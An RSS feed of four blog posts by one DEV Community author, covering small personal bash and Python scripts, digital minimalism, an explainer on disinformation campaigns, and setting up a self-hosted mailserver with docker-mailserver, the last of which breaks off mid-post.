<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Anirudh</title>
    <description>The latest articles on DEV Community by Anirudh (@icyphox).</description>
    <link>https://dev.to/icyphox</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F92159%2Fab59853a-e988-41ff-8b77-3f76c5306ad4.png</url>
      <title>DEV Community: Anirudh</title>
      <link>https://dev.to/icyphox</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/icyphox"/>
    <language>en</language>
    <item>
      <title>Hacky scripts</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/hacky-scripts-2k9o</link>
      <guid>https://dev.to/icyphox/hacky-scripts-2k9o</guid>
      <description>&lt;p&gt;As a CS student, I see a lot of people around me doing courses onlineto learn to code. Don’t get me wrong – it probably works for some.Everyone learns differently. But that’s only going to get you so far.Great you know the syntax, you can solve some competitive programmingproblems, but that’s not quite enough, is it? The actual learning comesfrom &lt;em&gt;applying&lt;/em&gt; it in solving &lt;em&gt;actual&lt;/em&gt; problems – not made up ones.(&lt;em&gt;inb4 some seething CP bro comes at me&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;Now, what’s an actual problem? Some might define it as real worldproblems that people out there face, and solving it probably requiresbuilding a product. This is what you see in hackathons, generally.&lt;/p&gt;

&lt;p&gt;If you ask me, however, I like to define it as problems that &lt;em&gt;you&lt;/em&gt; yourselfface. This could be anything. Heck, it might not even be a “problem”. Itcould just be an itch that you want to scratch. And this is where &lt;strong&gt;hacky scripts&lt;/strong&gt; come in. Unclear? Let me illustrate with a fewexamples.&lt;/p&gt;

&lt;h3&gt;
  
  
  Now playing status in my bar
&lt;/h3&gt;

&lt;p&gt;If you weren’t aware already – I rice my desktop. A lot. And a part ofthis cohesive experience I try to create involves a status bar up at thetop of my screen, showing the time, date, volume and battery statuses etc.&lt;/p&gt;

&lt;p&gt;So here’s the “problem”. I wanted to have my currently playing song(Spotify), show up on my bar. How did I approach this? A few ideaspopped up in my head:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send &lt;code&gt;playerctl&lt;/code&gt;’s STDOUT into my bar&lt;/li&gt;
&lt;li&gt;Write a Python script to query Spotify’s API&lt;/li&gt;
&lt;li&gt;Write a Python/shell script to query Last.fm’s API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first approach bombed instantly. &lt;code&gt;playerctl&lt;/code&gt; didn’t recognize mySpotify client and whined about some &lt;code&gt;dbus&lt;/code&gt; issues to top it off.I spent a while in that rabbit hole but eventually gave up.&lt;/p&gt;

&lt;p&gt;My next avenue was the Spotify Web API. One look at the &lt;a href="https://developer.spotify.com/documentation/web-api/" rel="noopener noreferrer"&gt;docs&lt;/a&gt; andI realize that I’ll have to make &lt;em&gt;more&lt;/em&gt; than one request to fetch theartist and track details. Nope, I need this to work fast.&lt;/p&gt;

&lt;p&gt;Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguablythe best choice, since it shows the track status regardless of wherethe music is being played. Here’s the script in its entirety:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env bash
# now playing
# requires the last.fm API key

source ~/.lastfm # `export API_KEY="&amp;lt;key&amp;gt;"`
fg="$(xres color15)"
light="$(xres color8)"

USER="icyphox"
URL="http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"
URL+="&amp;amp;user=$USER&amp;amp;api_key=$API_KEY&amp;amp;format=json&amp;amp;limit=1&amp;amp;nowplaying=true"
NOTPLAYING=" " # I like to have it show nothing
RES=$(curl -s $URL)
NOWPLAYING=$(jq '.recenttracks.track[0]."@attr".nowplaying' &amp;lt;&amp;lt;&amp;lt; "$RES" | tr -d '"')

if [["$NOWPLAYING" = "true"]]
then
    TRACK=$(jq '.recenttracks.track[0].name' &amp;lt;&amp;lt;&amp;lt; "$RES" | tr -d '"')
    ARTIST=$(jq '.recenttracks.track[0].artist."#text"' &amp;lt;&amp;lt;&amp;lt; "$RES" | tr -d '"')
    echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST"
else
    echo -ne "$NOTPLAYING"
fi

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;source&lt;/code&gt; command is used to fetch the API key which I store at&lt;code&gt;~/.lastfm&lt;/code&gt;. The &lt;code&gt;fg&lt;/code&gt; and &lt;code&gt;light&lt;/code&gt; variables can be ignored, they’re onlyfor coloring output on my bar. The rest is fairly trivial and justinvolves JSON parsing with &lt;a href="https://stedolan.github.io/jq/" rel="noopener noreferrer"&gt;&lt;code&gt;jq&lt;/code&gt;&lt;/a&gt;.That’s it! It’s so small, but I learnt a ton. For those curious, here’swhat it looks like running:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ficyphox.sh%2Fstatic%2Fimg%2Fnow_playing.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ficyphox.sh%2Fstatic%2Fimg%2Fnow_playing.png" alt="now playing status polybar"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Update latest post on the index page
&lt;/h3&gt;

&lt;p&gt;This pertains to this very blog that you’re reading. I wanted a quickway to update the “latest post” section in the home page and the&lt;a href="https://dev.to/blog"&gt;blog&lt;/a&gt; listing, with a link to the latest post. This would requireediting the Markdown &lt;a href="https://github.com/icyphox/site/tree/master/pages" rel="noopener noreferrer"&gt;source&lt;/a&gt;of both pages.&lt;/p&gt;

&lt;p&gt;This was a veryinteresting challenge to me, primarily because it requires in-placeediting of the file, not just appending. Sure, I could’ve come up withsome &lt;code&gt;sed&lt;/code&gt; one-liner, but that didn’t seem very fun. Also I hateregexes. Did a lot of research (read: Googling) on in-place editing offiles in Python, sorting lists of files by modification time etc. andthis is what I ended up on, ultimately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env python3

from markdown2 import markdown_path
import os
import fileinput
import sys

# change our cwd
os.chdir("bin")

blog = "../pages/blog/"

# get the most recently created file
def getrecent(path):
    files = [path + f for f in os.listdir(blog) if f not in ["_index.md", "feed.xml"]]
    files.sort(key=os.path.getmtime, reverse=True)
    return files[0]

# adding an entry to the markdown table
def update_index(s):
    path = "../pages/_index.md"
    with open(path, "r") as f:
        md = f.readlines()
    ruler = md.index("| --- | --: |\n")
    md[ruler + 1] = s + "\n"

    with open(path, "w") as f:
        f.writelines(md)

# editing the md source in-place
def update_blog(s):
    path = "../pages/blog/_index.md"
    s = s + "\n"
    for l in fileinput.FileInput(path, inplace=1):
        if "--:" in l:
            l = l.replace(l, l + s)
        print(l, end=""),

# fetch title and date
meta = markdown_path(getrecent(blog), extras=["metadata"]).metadata
fname = os.path.basename(os.path.splitext(getrecent(blog))[0])
url = "/blog/" + fname
line = f"| [{meta['title']}]({url}) | `{meta['date']}` |"

update_index(line)
update_blog(line)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I’m going to skip explaining this one out, but in essence, it’s &lt;strong&gt;onemassive hack&lt;/strong&gt;. And in the end, that’s my point exactly. It’s veryhacky, but the sheer amount I learnt by writing this ~50line script can’t be taught anywhere.&lt;/p&gt;

&lt;p&gt;This was partially how&lt;a href="https://github.com/icyphox/vite" rel="noopener noreferrer"&gt;vite&lt;/a&gt; was born. It was originallyintended to be a script to build my site, but grew into a full-blownPython package. I could’ve just used an off-the-shelf static site generatorgiven that there are &lt;a href="https://staticgen.com" rel="noopener noreferrer"&gt;so many&lt;/a&gt; of them, butI chose to write one myself.&lt;/p&gt;

&lt;p&gt;And that just about sums up what I wanted to say. The best and most funway to learn to code – write hacky scripts. You heard it here.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>linux</category>
    </item>
    <item>
      <title>Thoughts on digital minimalism</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/thoughts-on-digital-minimalism-40m2</link>
      <guid>https://dev.to/icyphox/thoughts-on-digital-minimalism-40m2</guid>
      <description>&lt;p&gt;Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it’s &lt;em&gt;my&lt;/em&gt; opinion on the matter, and &lt;em&gt;my&lt;/em&gt; technique(s) to achieve “digital minimalism”.&lt;/p&gt;

&lt;p&gt;According to me, minimalism can be achieved on two primary fronts – the phone &amp;amp; the computer. Let’s start with the phone. The daily carry. The device that’s on our person from when we get out of bed, till we get back in bed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The phone
&lt;/h3&gt;

&lt;p&gt;I’ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app—like OnePlus’ Zen Mode—to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.&lt;/p&gt;

&lt;p&gt;My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle behind it – if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Twitter&lt;/li&gt;
&lt;li&gt;Instagram (an exception, no desktop client)&lt;/li&gt;
&lt;li&gt;Relay for Reddit&lt;/li&gt;
&lt;li&gt;YouTube (disabled, ships with stock OOS)&lt;/li&gt;
&lt;li&gt;LinkedIn&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The only non-productive app that I’ve let remain is Clover, a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that holds up. I’ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.&lt;/p&gt;

&lt;p&gt;I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only “fun” thing left on my phone to do is read or listen to music. Which is okay, in my opinion.&lt;/p&gt;

&lt;h3&gt;
  
  
  The computer
&lt;/h3&gt;

&lt;p&gt;I didn’t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way.&lt;/p&gt;

&lt;p&gt;My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t try to force myself to not use stuff – after all, I’ve reduced it elsewhere. :)&lt;/p&gt;

&lt;p&gt;Now the question arises: Is this just a phase, or will I stick to it? What’s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There’s definitely some will power needed to pull this off. I guess time will tell.&lt;/p&gt;

</description>
      <category>philosophy</category>
    </item>
    <item>
      <title>Disinformation demystified</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/disinformation-demystified-2oa1</link>
      <guid>https://dev.to/icyphox/disinformation-demystified-2oa1</guid>
      <description>&lt;p&gt;As with the disambiguation of any word, let’s start with its etymology and definiton. According to &lt;a href="https://en.wikipedia.org/wiki/Disinformation"&gt;Wikipedia&lt;/a&gt;,&lt;em&gt;disinformation&lt;/em&gt; has been borrowed from the Russian word — &lt;em&gt;dezinformatisya&lt;/em&gt; (дезинформа́ция), derived from the title of a KGB black propaganda department.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Disinformation is false information spread deliberately to deceive.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;creating disinformation (what)&lt;/li&gt;
&lt;li&gt;the motivation behind the op, or its end goal (why)&lt;/li&gt;
&lt;li&gt;the medium used to disperse the falsified information (how)&lt;/li&gt;
&lt;li&gt;the actor (who)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.&lt;/p&gt;

&lt;p&gt;In order to break monotony, I will also be using the terms “information operation”, or the shortened forms – “info op” &amp;amp; “disinfo”.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating disinformation
&lt;/h3&gt;

&lt;p&gt;Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?&lt;/p&gt;

&lt;p&gt;Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s &lt;em&gt;likely&lt;/em&gt; true. To achieve this, the target — be it an individual, a specific demographic or an entire nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.&lt;/p&gt;

&lt;p&gt;There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles &amp;amp; most recently — deepfakes.&lt;/p&gt;

&lt;p&gt;Here’s a tweet from &lt;a href="https://twitter.com/thegrugq"&gt;the grugq&lt;/a&gt;, showing a case of recontextualized imagery:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Disinformation.  &lt;/p&gt;

&lt;p&gt;The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.  &lt;/p&gt;

&lt;p&gt;Recontextualisation as threat vector. &lt;a href="https://t.co/Pko3f0xkXC"&gt;pic.twitter.com/Pko3f0xkXC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;— thaddeus e. grugq (@thegrugq) &lt;a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw"&gt;June 23, 2019&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Motivations behind an information operation
&lt;/h3&gt;

&lt;p&gt;I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.&lt;sup id="fnref-1"&gt;1&lt;/sup&gt;In offensive information operations, the target’s psychological state can be affected by spreading &lt;strong&gt;fear, uncertainty &amp;amp; doubt&lt;/strong&gt; , or FUD for short.&lt;/p&gt;

&lt;p&gt;Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.&lt;sup id="fnref-2"&gt;2&lt;/sup&gt; Russian media is known to have desseminated a number of alternative &amp;amp; some even conspiratorial theories&lt;sup id="fnref-3"&gt;3&lt;/sup&gt;, in response. The number grew as the JIT’s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to &lt;strong&gt;muddle the information&lt;/strong&gt; space with these theories, and as a result, potentially correct information takes a credibility hit.&lt;/p&gt;

&lt;p&gt;Another motive for an info op is to &lt;strong&gt;control the narrative&lt;/strong&gt;. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.&lt;sup id="fnref-4"&gt;4&lt;/sup&gt; According to &lt;a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests"&gt;NPR&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Official state media pin the blame for protests on the “black hand” of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. …&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Media used to disperse disinfo
&lt;/h3&gt;

&lt;p&gt;As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s popularity.&lt;/p&gt;

&lt;p&gt;Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory — the &lt;a href="https://en.wikipedia.org/wiki/Internet_Research_Agency"&gt;Internet Research Agency&lt;/a&gt; (IRA) to create discussions about alternative theories.&lt;/p&gt;

&lt;p&gt;In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.&lt;sup id="fnref-5"&gt;5&lt;/sup&gt;This is a difficult problem to combat, especially given the nature of the target audience.&lt;/p&gt;

&lt;h3&gt;
  
  
  The actors behind disinfo campaigns
&lt;/h3&gt;

&lt;p&gt;I doubt this requires further elaboration, but in short:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nation states and their intelligence agencies&lt;/li&gt;
&lt;li&gt;governments, political parties&lt;/li&gt;
&lt;li&gt;other non/quasi-governmental groups&lt;/li&gt;
&lt;li&gt;trolls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This essentially sums up the what, why, how and who of disinformation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Personal OPSEC
&lt;/h3&gt;

&lt;p&gt;This is a fun one. Now, it’s common knowledge that &lt;strong&gt;STFU is the best policy&lt;/strong&gt;. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Ugh, when will this hot streak end?!”&lt;/li&gt;
&lt;li&gt;“Traffic wonky because of the Mardi Gras parade.”&lt;/li&gt;
&lt;li&gt;“Woah, XYZ place is nice! Especially the fountains by ABC street.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.&lt;/p&gt;

&lt;p&gt;And please, don’t do this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sbqxQevR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/mcafeetweet.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sbqxQevR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://icyphox.sh/static/img/mcafeetweet.png" alt="mcafee opsecfail"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;The ability to influence someone’s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.&lt;/p&gt;

&lt;p&gt;A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.&lt;/p&gt;




&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked"&gt;This&lt;/a&gt; episode of CYBER talks about election influence ops (features the grugq!). ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;a href="https://www.bellingcat.com/category/resources/podcasts/"&gt;Bellingcat Podcast&lt;/a&gt;’s season one covers the MH17 investigation in detail. ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories"&gt;Wikipedia section on MH17 conspiracy theories&lt;/a&gt; ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://twitter.com/gdead/status/1171032265629032450"&gt;Chinese newspaper spreading disinfo&lt;/a&gt; ↩&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Use an adblocker before clicking &lt;a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html"&gt;this&lt;/a&gt;. ↩&lt;/p&gt;

</description>
      <category>security</category>
      <category>privacy</category>
      <category>opsec</category>
    </item>
    <item>
      <title>Setting up my personal mailserver</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate>
      <link>https://dev.to/icyphox/setting-up-my-personal-mailserver-3o9k</link>
      <guid>https://dev.to/icyphox/setting-up-my-personal-mailserver-3o9k</guid>
      <description>&lt;p&gt;A mailserver was a long time coming. I’d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.&lt;sup id="fnref-1"&gt;1&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot &amp;amp; Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, &lt;em&gt;pretty&lt;/em&gt; tight.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s available
&lt;/h3&gt;

&lt;p&gt;Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://poste.io"&gt;poste.io&lt;/a&gt;: Based on an “open core” model. The base install is open source and free (as in beer), but you’ll have to pay for the extra stuff.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mailu.io"&gt;mailu.io&lt;/a&gt;: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn’t need. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mailcow.email"&gt;mailcow.email&lt;/a&gt;: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM &lt;em&gt;plus&lt;/em&gt; swap?! Nope.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://mailinabox.email"&gt;Mail-in-a-Box&lt;/a&gt;: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can’t afford to do that.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/tomav/docker-mailserver/"&gt;docker-mailserver&lt;/a&gt;: &lt;strong&gt;The winner&lt;/strong&gt;. &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  So… &lt;code&gt;docker-mailserver&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The first thing that caught my eye in the README:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Recommended:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1 CPU&lt;/li&gt;
&lt;li&gt;1GB RAM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Minimum:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1 CPU&lt;/li&gt;
&lt;li&gt;512MB RAM&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple &amp;amp; the docs are pretty good. It employs a single&lt;code&gt;.env&lt;/code&gt; file for configuration, which is great. However, I did run into a couple of hiccups here and there.&lt;/p&gt;

&lt;p&gt;One especially nasty one was &lt;code&gt;docker&lt;/code&gt; / &lt;code&gt;docker-compose&lt;/code&gt; running out of memory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;But it eventually worked after a couple of attempts.&lt;/p&gt;

&lt;p&gt;The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated&lt;sup id="fnref-2"&gt;2&lt;/sup&gt;. The output under&lt;br&gt;&lt;br&gt;
&lt;code&gt;config/opendkim/keys/domain.tld/mail.txt&lt;/code&gt;&lt;br&gt;&lt;br&gt;
isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into a &lt;code&gt;TXT&lt;/code&gt; record.&lt;/p&gt;

&lt;p&gt;This is what it looks like.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
      "p=&amp;lt;key&amp;gt;"
      "&amp;lt;more key&amp;gt;" ) ; ----- DKIM key mail for icyphox.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;But while configuring the record, you set “Type” to &lt;code&gt;TXT&lt;/code&gt;, “Name” to &lt;code&gt;mail._domainkey&lt;/code&gt;, and the “Value” to what’s inside the parenthesis &lt;code&gt;( )&lt;/code&gt;, &lt;em&gt;removing&lt;/em&gt; the quotes &lt;code&gt;""&lt;/code&gt;. Also remove the part that appears to be a comment &lt;code&gt;; ----- ...&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like &lt;code&gt;mail.domain.tld&lt;/code&gt; using an &lt;code&gt;A&lt;/code&gt; record. You’ll then have to set an &lt;code&gt;MX&lt;/code&gt; record with the “Name” as &lt;code&gt;@&lt;/code&gt; (or whatever your DNS provider uses to denote the root domain) and the “Value” to &lt;code&gt;mail.domain.tld&lt;/code&gt;. And finally, the &lt;code&gt;PTR&lt;/code&gt; (pointer record, I think), which is the reverse of your &lt;code&gt;A&lt;/code&gt; record — “Name” as the server IP and “Value” as &lt;code&gt;mail.domain.tld&lt;/code&gt;. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.&lt;/p&gt;

&lt;p&gt;Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the &lt;a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples"&gt;wiki&lt;/a&gt;and look at an example. In short, install &lt;code&gt;certbot&lt;/code&gt;, have port 80 free, and run&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ certbot certonly --standalone -d mail.domain.tld
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Once that’s done, edit the &lt;code&gt;docker-compose.yml&lt;/code&gt; file to mount &lt;code&gt;/etc/letsencrypt&lt;/code&gt; in the container, something like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;...

volumes:
    - maildata:/var/mail
    - mailstate:/var/mail-state
    - ./config/:/tmp/docker-mailserver/
    - /etc/letsencrypt:/etc/letsencrypt

...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;With this done, you shouldn’t have mail clients complaining about wonky certs for which you’ll have to add an exception manually.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why would you…?
&lt;/h3&gt;

&lt;p&gt;There are a few good reasons for this:&lt;/p&gt;

&lt;h4&gt;
  
  
  Privacy
&lt;/h4&gt;

&lt;p&gt;No really, this is &lt;em&gt;the&lt;/em&gt; best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t dispute it. Quoting Drew Devault&lt;sup id="fnref-3"&gt;3&lt;/sup&gt;,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Truly secure systems do not require you to trust the service provider.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But you have to &lt;em&gt;trust&lt;/em&gt; ProtonMail. They run open source software, but how can you really be sure that it isn’t a backdoored version of it?&lt;/p&gt;

&lt;p&gt;When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn’t an attempt to spread FUD. In the end, it all depends on your threat model™.&lt;/p&gt;

&lt;h4&gt;
  
  
  Decentralization
&lt;/h4&gt;

